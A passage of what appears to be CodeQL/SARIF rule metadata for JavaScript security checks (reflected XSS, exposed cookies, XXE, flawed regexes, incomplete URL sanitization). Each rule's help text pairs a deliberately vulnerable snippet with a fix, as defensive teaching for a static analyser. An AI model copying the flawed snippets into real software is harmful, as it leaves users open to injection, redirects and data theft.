[CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Reflected cross-site scripting\nDirectly writing user input (for example, an HTTP request parameter) to an HTTP response without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *reflected* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the response, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example code writes part of an HTTP request (which is controlled by the user) directly to the response. This leaves the website vulnerable to cross-site scripting.\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n  if (!isValidUserId(req.params.id))\n    // BAD: a request parameter is incorporated without validation into the response\n    res.send(\"Unknown user: \" + req.params.id);\n  else\n    // TODO: do something exciting\n    ;\n});\n\n```\nSanitizing the user-controlled data prevents the vulnerability:\n\n\n```javascript\nvar escape = require('escape-html');\n\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n  if (!isValidUserId(req.params.id))\n    // GOOD: request parameter is sanitized before incorporating it into the response\n    res.send(\"Unknown user: \" + escape(req.params.id));\n  else\n    // TODO: do something exciting\n    ;\n});\n\n```\n\n## References\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["security","external/cwe/cwe-079","external/cwe/cwe-116"],"description":"Writing user input directly to an HTTP response allows for\n              a cross-site scripting vulnerability.","id":"js/reflected-xss","kind":"path-problem","name":"Reflected cross-site scripting","precision":"high","problem.severity":"error","security-severity":"7.8"}},{"id":"js/client-exposed-cookie","name":"js/client-exposed-cookie","shortDescription":{"text":"Sensitive server cookie exposed to the client"},"fullDescription":{"text":"Sensitive cookies set by a server can be read by the client if the `httpOnly` flag is not set."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Sensitive server cookie exposed to the client\nAuthentication cookies stored by a server can be accessed by a client if the `httpOnly` flag is not set.\n\nAn attacker that manages a cross-site scripting (XSS) attack can read the cookie and hijack the session.\n\n\n## Recommendation\nSet the `httpOnly` flag on all cookies that are not needed by the client.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be viewed by the client.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html).\n","markdown":"# Sensitive server cookie exposed to the client\nAuthentication cookies stored by a server can be accessed by a client if the `httpOnly` flag is not set.\n\nAn attacker that manages a cross-site scripting (XSS) attack can read the cookie and hijack the session.\n\n\n## Recommendation\nSet the `httpOnly` flag on all cookies that are not needed by the client.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be viewed by the client.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html).\n"},"properties":{"tags":["security","external/cwe/cwe-1004"],"description":"Sensitive cookies set by a server can be read by the client if the `httpOnly` flag is not set.","id":"js/client-exposed-cookie","kind":"problem","name":"Sensitive server cookie exposed to the client","precision":"high","problem.severity":"warning","security-severity":"5.0"}},{"id":"js/xxe","name":"js/xxe","shortDescription":{"text":"XML external entity expansion"},"fullDescription":{"text":"Parsing user input as an XML document with external entity expansion is vulnerable to XXE attacks."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# XML external entity expansion\nParsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data.\n\n\n## Recommendation\nThe easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken.\n\n\n## Example\nThe following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`:\n\n\n```javascript\nconst app = require(\"express\")(),\n  libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    doc = libxml.parseXml(xmlSrc, { noent: true });\n});\n\n```\nTo guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&amp;` or `&gt;`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/4.17.15#unescape) or [he](https://github.com/mathiasbynens/he).\n\n\n```javascript\nconst app = require(\"express\")(),\n  libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    doc = libxml.parseXml(xmlSrc);\n});\n\n```\n\n## References\n* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing).\n* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/).\n* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://www.slideshare.net/qqlan/bh-ready-v4).\n* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html).\n* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html).\n","markdown":"# XML external entity expansion\nParsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data.\n\n\n## Recommendation\nThe easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken.\n\n\n## Example\nThe following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`:\n\n\n```javascript\nconst app = require(\"express\")(),\n  libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    doc = libxml.parseXml(xmlSrc, { noent: true });\n});\n\n```\nTo guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&amp;` or `&gt;`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/4.17.15#unescape) or [he](https://github.com/mathiasbynens/he).\n\n\n```javascript\nconst app = require(\"express\")(),\n  libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    doc = libxml.parseXml(xmlSrc);\n});\n\n```\n\n## References\n* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing).\n* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/).\n* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://www.slideshare.net/qqlan/bh-ready-v4).\n* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html).\n* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html).\n"},"properties":{"tags":["security","external/cwe/cwe-611","external/cwe/cwe-827"],"description":"Parsing user input as an XML document with external\n              entity expansion is vulnerable to XXE attacks.","id":"js/xxe","kind":"path-problem","name":"XML external entity expansion","precision":"high","problem.severity":"error","security-severity":"9.1"}},{"id":"js/useless-regexp-character-escape","name":"js/useless-regexp-character-escape","shortDescription":{"text":"Useless regular-expression character escape"},"fullDescription":{"text":"Prepending a backslash to an ordinary character in a string does not have any effect, and may make regular expressions constructed from this string behave unexpectedly."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Useless regular-expression character escape\nWhen a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\\n` in a string literal corresponds to a single `newline` character, and not the `\\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program.\n\nThe set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal.\n\n\n## Recommendation\nEnsure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal.\n\n\n## Example\nThe following example code checks that a string is `\"my-marker\"`, possibly surrounded by white space:\n\n\n```javascript\nlet regex = new RegExp('(^\\s*)my-marker(\\s*$)'),\n    isMyMarkerText = regex.test(text);\n\n```\nHowever, the check does not work properly for white space as the two `\\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `\"smy-markers\"` instead of `\" my-marker \"`. Address these shortcomings by either using a regular expression literal (`/(^\\s*)my-marker(\\s*$)/`), or by adding extra backslashes (`'(^\\\\s*)my-marker(\\\\s*$)'`).\n\n\n## References\n* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping)\n* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n","markdown":"# Useless regular-expression character escape\nWhen a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\\n` in a string literal corresponds to a single `newline` character, and not the `\\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program.\n\nThe set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal.\n\n\n## Recommendation\nEnsure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal.\n\n\n## Example\nThe following example code checks that a string is `\"my-marker\"`, possibly surrounded by white space:\n\n\n```javascript\nlet regex = new RegExp('(^\\s*)my-marker(\\s*$)'),\n    isMyMarkerText = regex.test(text);\n\n```\nHowever, the check does not work properly for white space as the two `\\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `\"smy-markers\"` instead of `\" my-marker \"`. Address these shortcomings by either using a regular expression literal (`/(^\\s*)my-marker(\\s*$)/`), or by adding extra backslashes (`'(^\\\\s*)my-marker(\\\\s*$)'`).\n\n\n## References\n* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping)\n* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-020"],"description":"Prepending a backslash to an ordinary character in a string\n              does not have any effect, and may make regular expressions constructed from this string\n              behave unexpectedly.","id":"js/useless-regexp-character-escape","kind":"problem","name":"Useless regular-expression character escape","precision":"high","problem.severity":"error","security-severity":"7.8"}},{"id":"js/overly-large-range","name":"js/overly-large-range","shortDescription":{"text":"Overly permissive regular expression range"},"fullDescription":{"text":"Overly permissive regular expression ranges match a wider range of characters than intended. This may allow an attacker to bypass a filter or sanitizer."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Overly permissive regular expression range\nIt's easy to write a regular expression range that matches a wider range of characters than you intended. For example, `/[a-zA-z]/` matches all lowercase and all uppercase letters, as you would expect, but it also matches the characters: `` [ \\ ] ^ _ ` ``.\n\nAnother common problem is failing to escape the dash character in a regular expression. An unescaped dash is interpreted as part of a range. For example, in the character class `[a-zA-Z0-9%=.,-_]` the last character range matches the 55 characters between `,` and `_` (both included), which overlaps with the range `[0-9]` and is clearly not intended by the writer.\n\n\n## Recommendation\nAvoid any confusion about which characters are included in the range by writing unambiguous regular expressions. Always check that character ranges match only the expected characters.\n\n\n## Example\nThe following example code is intended to check whether a string is a valid 6 digit hex color.\n\n```javascript\n\nfunction isValidHexColor(color) {\n    return /^#[0-9a-fA-f]{6}$/i.test(color);\n}\n\n```\nHowever, the `A-f` range is overly large and matches every uppercase character. It would parse a \"color\" like `#XXYYZZ` as valid.\n\nThe fix is to use an uppercase `A-F` range instead.\n\n```javascript\n\nfunction isValidHexColor(color) {\n    return /^#[0-9A-F]{6}$/i.test(color);\n}\n\n```\n\n## References\n* GitHub Advisory Database: [CVE-2021-42740: Improper Neutralization of Special Elements used in a Command in Shell-quote](https://github.com/advisories/GHSA-g4rg-993r-mgx7)\n* wh0.github.io: [Exploiting CVE-2021-42740](https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html)\n* Yosuke Ota: [no-obscure-range](https://ota-meshi.github.io/eslint-plugin-regexp/rules/no-obscure-range.html)\n* Paul Boyd: [The regex \\[,-.\\]](https://pboyd.io/posts/comma-dash-dot/)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n","markdown":"# Overly permissive regular expression range\nIt's easy to write a regular expression range that matches a wider range of characters than you intended. For example, `/[a-zA-z]/` matches all lowercase and all uppercase letters, as you would expect, but it also matches the characters: `` [ \\ ] ^ _ ` ``.\n\nAnother common problem is failing to escape the dash character in a regular expression. An unescaped dash is interpreted as part of a range. For example, in the character class `[a-zA-Z0-9%=.,-_]` the last character range matches the 55 characters between `,` and `_` (both included), which overlaps with the range `[0-9]` and is clearly not intended by the writer.\n\n\n## Recommendation\nAvoid any confusion about which characters are included in the range by writing unambiguous regular expressions. Always check that character ranges match only the expected characters.\n\n\n## Example\nThe following example code is intended to check whether a string is a valid 6 digit hex color.\n\n```javascript\n\nfunction isValidHexColor(color) {\n    return /^#[0-9a-fA-f]{6}$/i.test(color);\n}\n\n```\nHowever, the `A-f` range is overly large and matches every uppercase character. It would parse a \"color\" like `#XXYYZZ` as valid.\n\nThe fix is to use an uppercase `A-F` range instead.\n\n```javascript\n\nfunction isValidHexColor(color) {\n    return /^#[0-9A-F]{6}$/i.test(color);\n}\n\n```\n\n## References\n* GitHub Advisory Database: [CVE-2021-42740: Improper Neutralization of Special Elements used in a Command in Shell-quote](https://github.com/advisories/GHSA-g4rg-993r-mgx7)\n* wh0.github.io: [Exploiting CVE-2021-42740](https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html)\n* Yosuke Ota: [no-obscure-range](https://ota-meshi.github.io/eslint-plugin-regexp/rules/no-obscure-range.html)\n* Paul Boyd: [The regex \\[,-.\\]](https://pboyd.io/posts/comma-dash-dot/)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-020"],"description":"Overly permissive regular expression ranges match a wider range of characters than intended.\n              This may allow an attacker to bypass a filter or sanitizer.","id":"js/overly-large-range","kind":"problem","name":"Overly permissive regular expression range","precision":"high","problem.severity":"warning","security-severity":"4.0"}},{"id":"js/incorrect-suffix-check","name":"js/incorrect-suffix-check","shortDescription":{"text":"Incorrect suffix check"},"fullDescription":{"text":"Using indexOf to implement endsWith functionality is error-prone if the -1 case is not explicitly handled."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Incorrect suffix check\nThe `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all.\n\nSpecifically, this can easily happen when implementing `endsWith` using `indexOf`.\n\n\n## Recommendation\nUse `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1.\n\n\n## Example\nThe following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`:\n\n\n```javascript\nfunction endsWith(x, y) {\n  return x.lastIndexOf(y) === x.length - y.length;\n}\n\n```\nHowever, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`.\n\nTo avoid this, explicitly check for the -1 case:\n\n\n```javascript\nfunction endsWith(x, y) {\n  let index = x.lastIndexOf(y);\n  return index !== -1 && index === x.length - y.length;\n}\n\n```\n\n## References\n* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith)\n* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n","markdown":"# Incorrect suffix check\nThe `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all.\n\nSpecifically, this can easily happen when implementing `endsWith` using `indexOf`.\n\n\n## Recommendation\nUse `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1.\n\n\n## Example\nThe following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`:\n\n\n```javascript\nfunction endsWith(x, y) {\n  return x.lastIndexOf(y) === x.length - y.length;\n}\n\n```\nHowever, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`.\n\nTo avoid this, explicitly check for the -1 case:\n\n\n```javascript\nfunction endsWith(x, y) {\n  let index = x.lastIndexOf(y);\n  return index !== -1 && index === x.length - y.length;\n}\n\n```\n\n## References\n* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith)\n* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"},"properties":{"tags":["security","correctness","external/cwe/cwe-020"],"description":"Using indexOf to implement endsWith functionality is error-prone if the -1 case is not explicitly handled.","id":"js/incorrect-suffix-check","kind":"problem","name":"Incorrect suffix check","precision":"high","problem.severity":"error","security-severity":"7.8"}},{"id":"js/incomplete-hostname-regexp","name":"js/incomplete-hostname-regexp","shortDescription":{"text":"Incomplete regular expression for hostnames"},"fullDescription":{"text":"Matching a URL or hostname against a regular expression that contains an unescaped dot as part of the hostname might match more hostnames than expected."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Incomplete regular expression for hostnames\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nIf a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds.\n\n\n## Recommendation\nEscape all meta-characters appropriately when constructing regular expressions for security checks, and pay special attention to the `.` meta-character.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param('url'),\n        host = urlLib.parse(url).host;\n    // BAD: the host of `url` may be controlled by an attacker\n    let regex = /^((www|beta).)?example.com/;\n    if (host.match(regex)) {\n        res.redirect(url);\n    }\n});\n\n```\nThe check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`.\n\nAddress this vulnerability by escaping `.` appropriately: `let regex = /^((www|beta)\\.)?example\\.com/`.\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n","markdown":"# Incomplete regular expression for hostnames\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nIf a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds.\n\n\n## Recommendation\nEscape all meta-characters appropriately when constructing regular expressions for security checks, and pay special attention to the `.` meta-character.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param('url'),\n        host = urlLib.parse(url).host;\n    // BAD: the host of `url` may be controlled by an attacker\n    let regex = /^((www|beta).)?example.com/;\n    if (host.match(regex)) {\n        res.redirect(url);\n    }\n});\n\n```\nThe check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`.\n\nAddress this vulnerability by escaping `.` appropriately: `let regex = /^((www|beta)\\.)?example\\.com/`.\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-020"],"description":"Matching a URL or hostname against a regular expression that contains an unescaped dot as part of the hostname might match more hostnames than expected.","id":"js/incomplete-hostname-regexp","kind":"problem","name":"Incomplete regular expression for hostnames","precision":"high","problem.severity":"warning","security-severity":"7.8"}},{"id":"js/incomplete-url-scheme-check","name":"js/incomplete-url-scheme-check","shortDescription":{"text":"Incomplete URL scheme check"},"fullDescription":{"text":"Checking for the \"javascript:\" URL scheme without also checking for \"vbscript:\" and \"data:\" suggests a logic error or even a security vulnerability."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Incomplete URL scheme check\nURLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme.\n\nHowever, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient.\n\n\n## Recommendation\nAdd checks covering both `data:` and `vbscript:`.\n\n\n## Example\nThe following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned.\n\n\n```javascript\nfunction sanitizeUrl(url) {\n    let u = decodeURI(url).trim().toLowerCase();\n    if (u.startsWith(\"javascript:\"))\n        return \"about:blank\";\n    return url;\n}\n\n```\nWhile this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well:\n\n\n```javascript\nfunction sanitizeUrl(url) {\n    let u = decodeURI(url).trim().toLowerCase();\n    if (u.startsWith(\"javascript:\") || u.startsWith(\"data:\") || u.startsWith(\"vbscript:\"))\n        return \"about:blank\";\n    return url;\n}\n\n```\n\n## References\n* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n","markdown":"# Incomplete URL scheme check\nURLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme.\n\nHowever, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient.\n\n\n## Recommendation\nAdd checks covering both `data:` and `vbscript:`.\n\n\n## Example\nThe following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned.\n\n\n```javascript\nfunction sanitizeUrl(url) {\n    let u = decodeURI(url).trim().toLowerCase();\n    if (u.startsWith(\"javascript:\"))\n        return \"about:blank\";\n    return url;\n}\n\n```\nWhile this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well:\n\n\n```javascript\nfunction sanitizeUrl(url) {\n    let u = decodeURI(url).trim().toLowerCase();\n    if (u.startsWith(\"javascript:\") || u.startsWith(\"data:\") || u.startsWith(\"vbscript:\"))\n        return \"about:blank\";\n    return url;\n}\n\n```\n\n## References\n* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n"},"properties":{"tags":["security","correctness","external/cwe/cwe-020","external/cwe/cwe-184"],"description":"Checking for the \"javascript:\" URL scheme without also checking for \"vbscript:\"\n              and \"data:\" suggests a logic error or even a security vulnerability.","id":"js/incomplete-url-scheme-check","kind":"problem","name":"Incomplete URL scheme check","precision":"high","problem.severity":"warning","security-severity":"7.8"}},{"id":"js/incomplete-url-substring-sanitization","name":"js/incomplete-url-substring-sanitization","shortDescription":{"text":"Incomplete URL substring sanitization"},"fullDescription":{"text":"Security checks on the substrings of an unparsed URL are often vulnerable to bypassing."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Incomplete URL substring sanitization\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nHowever, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location.\n\nEven if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally.\n\n\n## Recommendation\nParse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its 